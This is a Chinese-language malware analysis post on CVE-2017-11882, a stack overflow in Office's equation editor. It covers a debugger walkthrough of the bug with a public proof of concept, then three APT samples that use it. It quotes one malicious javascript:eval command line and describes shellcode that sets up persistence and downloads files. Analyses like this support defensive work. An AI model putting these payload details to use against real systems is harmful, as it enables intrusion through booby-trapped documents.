CVE-2017-11882及利用样本分析

简介: Windows的公式编辑器EQNEDT32.EXE读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,从而劫持程序流程。

CVE-2017-11882及利用样本分析




1.本文由复眼小组ERFZE师傅原创2.本文略微偏向基础,首先介绍了该漏洞的成因,并且分析了该漏洞在蔓灵花,摩诃草,响尾蛇APT组织用于实际攻击活动中的详细调试过程3.本文全文字数共2234字,图片95张 预计阅读时间14分钟

0x01 漏洞描述

成因:Windows的公式编辑器EQNEDT32.EXE读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,从而劫持程序流程。影响版本:Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, Microsoft Office 2016POChttps://github.com/Ridter/CVE-2017-11882

0x02 漏洞分析

笔者复现及分析环境:Windows 7 Service Pack 1、Microsoft Office 2010、x32dbg、IDA 7.0

EQUATION.exe存在:


图片1 Equation.exe


设置注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE


图片2 regedit.exe


Debugger键值为x32dbg路径。

生成POC:


图片3 POC


打开该文档,于WinExec()函数处设断:


图片4 WinExec


成功断下后,查看栈中返回地址:


图片5 ReturnAdd


继续向上查看栈,发现调用WinExec()的函数:


图片6 Stack


通过IDA分析sub_4115A7功能:


图片7 IDA


跟进sub_41160F查看:


图片8 sub41160F


未校验长度,直接使用strcpy()函数,此处应该就是漏洞触发位置。进一步确定具体位置:


图片9 strcpy


0x411658处设断,重新运行。第二次成功断下后,查看ESI寄存器指向内存内容:


图片10 ESI


此时ECX寄存器值为0xC,即复制48个字节到EDI寄存器指向内存,而var_28实际大小只有36个字节:


图片11 EDI


到达函数结束处:


图片12 FunEnd


leave指令执行完毕后,栈顶0x18F1D0处值为0x430C12,即调用WinExec()。而传递参数正是0x18F350指向内存中的cmd指令:


图片13 shellcode


成功弹出计算器:


图片14 calc.exe



下面对使用到的POC进行简要分析。各变量含义由命名可知,RTF文档格式并非本文重点,如读者此前对RTF文档格式没有了解,建议先阅读文末参考链接中有关RTF文档格式的文章后再看POC源码。


图片15 RTF


首先判断命令长度是否小于43,而43这个数字是因为:


图片16 CmdLen


上图选中部分是插入命令处,具体偏移由POC中COMMAND_OFFSET(0x949*2)变量给出。

将命令插入到构造数据中之后,函数返回拼接好的OLE。下面将OLE嵌入到RTF文档中:


图片17 OLE


0x03 摩诃草(APT-C-09)组织某样本分析

MD5:0D38ADC0B048BAB3BD91861D42CD39DF

0x411658处设断,在第二次断下时,各寄存器值如下:


图片18 register


继续执行到函数结束处leave指令:


图片19 leave


0x18F230地址处值0x430C47即覆盖后的函数返回地址:


图片20 FunReturn


而该地址处指令是ret,有些出乎意料。继续向下执行,来到0x18F3B0处,正是0x18F234地址处值:


图片21 ret


这方才是构造者意欲执行的指令。经过蓝色方框中的一系列运算后,EBX指向是真正的Shellcode:


图片22 shellcode


上述内容均可在OLE中查看(路径\xl\embeddings):


图片23 OLE




图片24 OLE


将OLE0x10000x1520中数据复制到一bin文件后,通过IDA查看。sub_247功能如下:


图片25 IDA


该函数接受的第二个参数即上文提到的EBX指向地址,于OLE中位置是0x1040,而0x1040+0x558处内容如下:


图片26 PE


故该函数第一个功能是修正PE文件头。第二个功能流程如下:


图片27 PEWrite



图片28 PEWrite



图片29 PEWrite



图片30 PEWrite


0x1040+0x558后的PE文件数据写入到%APPDATA%\MSBuild.exe中。第三个功能流程如下:


图片31 RegeditWrite



图片32 RegeditWrite



图片33 RegeditWrite


%APPDATA%\MSBuild.exe写入注册表run项键值lollipop中。

0x04 响尾蛇(SideWinder)组织某样本分析

将文档拖进WinHex查看:


图片34 WinHex


可以看出该文档实质是一RTF格式文档。

rtfobj.py分析如下:


图片35 rtfobj


Package后文会提到,先来看其CVE-2017-11882利用部分。

同样是第二次断下时:


图片36 break


其后的执行流程与上一样本相似:


图片37 leave



图片38 ret


经过绿色方框中的一系列运算后,调用GlobalLock()函数,传递参数如下:


图片39 GlobalLock


接下来跳转到GlobalLock()函数返回内存区域中:


图片40 jmp


经过两次call调用:


图片41 call



图片42 call


修正内存中的字符串:


图片43 EditString


接下来寻址kernel32.dll


图片44 kernel32


其所调用的函数功能如下:


图片45 sub298


两次call调用之后:


图片46 call



图片47 call


其功能为返回某函数调用地址,此次是LoadLibrayW()


图片48 LoadLibrary



图片49 Loadlibrary


接下来,返回GetProcAddress()调用地址:


图片50 GetProcAddress



图片51 GetProcAddress


继续call调用:


图片52 call


其后流程如图所示:


图片53 GetCommandLine



图片54 GetCommandLine



图片55 call


下面将字符串解密,并覆盖原CommandLine内容:


图片56 DecryptStr



图片57 DecryptStr


执行完结果如下:


图片58 StrResult


最后实际执行部分:



javascript:eval("sa=ActiveXObject;ab=new sa(\"Scripting.FileSystemObject\");eval(ab.OpenTextFile(ab.GetSpecialFolder(2)+\"\\\\1.a\",1).ReadAll());windowclose()")

其后调用RunHTMLApplication()


图片59 RunHTMLApplicaton



图片60 RunHTMLApplicaton



图片61 RunHTMLApplicaton图片60 RunHTMLApplicaton图片60 RunHTMLApplicaton



图片62 RunHTMLApplicaton图片60 RunHTMLApplicaton



图片63 RunHTMLApplicaton


1.a就是之前提到RTF文档中的Package,其实质是一JS文件:


图片64 JS



图片65 JS


最后,其执行结果大体如下图所示:


图片66 result


0x05 蔓灵花(Bitter)组织某样本分析

通过远程模板注入的方式下载一RTF格式文档:


图片67 downloadRTF


拖进WinHex查看,可以确认其格式为RTF文档格式:


图片68 Winhex


添加文件扩展名后,打开该文档。同样是于于0x411658处第二次断下时:


图片69 breakpoint



图片70 ret



图片71 shellcode


跳转之后经过绿色方框中一系列计算,接着跳转:


图片72 jmp


fldpi将π的值加载到FPU堆栈:


图片73 fldpi


执行完后fpu_instruction_pointer指向fldpi指令,其后的fnstenv指令将FpuSaveState结构体保存到esp-0xC处:


图片74 fnstenv


如此一来,pop ebp后EBP寄存器的值是fpu_instruction_pointer——fldpi指令位置:


图片75 EBP


由EBP计算出需要解密的数据起始位置,EDX中存储的是数据长度(0x315):


图片76 Decrypt


接着执行解密后的指令:


图片77 Execute



图片78 Execute


跳转后,执行相应指令,接下来call调用:


图片79 call


sub_562B2F功能是获取指定的系统函数调用地址,此次是kernel32.VirtualAlloc()


图片80 ReturnVirtualAddr



图片81 ReturnVirtualAddr


之后调用VirtualAlloc()申请内存空间:


图片82 VirtualAlloc


向申请的内存空间中写入数据:


图片83 WriteMem


调用sub_562B2F获取kernel32.Wow64DisableWow64FsRedirection()调用地址:


图片84 ReturnWow64DisableWow64FsRedirectionAddr


LoadLibrary(shell32)


图片85 LoadLibrary(shell32)


传递参数给sub_562B2F,获取shell32.ShellExcute()调用地址:


图片86 ReturnShellExcuteAddr



图片87 ReturnShellExcuteAddr


LoadLibrary(urlmon)


图片88 LoadLibrary(urlmon)


获取urlmon.URLDownloadToFile()调用地址:


图片89 ReturnURLDownloadToFileAddr

图片90 ReturnURLDownloadToFileAddr


调用URLDownloadToFile(),其传递参数如图:


图片91 URLDownloadToFile



图片92 URLDownloadToFile


读取文件:


图片93 CreateFile



图片94 ReadFile


由于没有获取到文件,计算出的EBX值错误:


图片95 End


故至此结束。

0x06 参考链接

Office恶意文件解析与混淆研究 -https://zhuanlan.zhihu.com/p/31345299https://github.com/Ridter/CVE-2017-11882Office文件格式基础知识 -https://www.anquanke.com/post/id/175548

相关文章
|
机器学习/深度学习 算法 数据挖掘
Sentieon | 应用教程: 使用DNAscope对HiFi长读长数据进行胚系变异检测分析
Sentieon | 应用教程: 使用DNAscope对HiFi长读长数据进行胚系变异检测分析
113 0
|
存储 数据安全/隐私保护
CVE-2017-8291及利用样本分析(二)
CVE-2017-8291及利用样本分析
|
存储 安全 JavaScript
CVE-2017-12824及利用样本分析(二)
笔者于书写此文之前从未接触过InPage,该文权当笔者于学习过程中的文章学习笔记,其中如有不当或错误之处,望读者不吝赐教,笔者感激不尽。
|
安全 Windows
CVE-2017-12824及利用样本分析(一)
笔者于书写此文之前从未接触过InPage,该文权当笔者于学习过程中的文章学习笔记,其中如有不当或错误之处,望读者不吝赐教,笔者感激不尽。
|
安全 Windows
CVE-2018-0798及利用样本分析
•成因:EQNEDT32.exe在解析Matrix record时,并未检查长度,从而造成栈溢出。无论打不打CVE-2017-11882补丁都可以成功触发,使得攻击者可以通过刻意构造的数据内容及长度覆盖栈上的函数返回地址,从而劫持程序流程。
|
存储 安全 虚拟化
CVE-2017-0261及利用样本分析
CVE-2017-0261及利用样本分析
|
存储 NoSQL 安全
CVE-2017-8291及利用样本分析
CVE-2017-8291及利用样本分析
|
SQL 安全 JavaScript
常见漏洞分类
常见漏洞分类
309 0
常见漏洞分类
J3
|
数据采集 数据可视化 数据挖掘
样本大小如何影响统计结果精确性
一天,我在漫无目的地游走于数据的海洋中,突然有位科研小伙伴跑来问我:“为啥样本大小会影响统计检验结果的精确性呢?”哎呀,这不是小菜一碟嘛!但怎么回答才能展现出我的风采呢?我不就是那个总爱在数据世界里溜达的数据侠客吗!
J3
264 1
样本大小如何影响统计结果精确性
|
Web App开发 安全 网络安全
墨者安全分享:CC攻击的变异品种--慢速攻击
对网络安全有过一定了解的人肯定都听过DDOS攻击和CC攻击,DDOS主要针对IP攻击,CC攻击主要是用来攻击网页的,两者都是通过控制大量僵尸网络肉鸡流量对目标发起攻击的,对于没有高防服务的企业来说简直就是灭顶之灾。
1738 0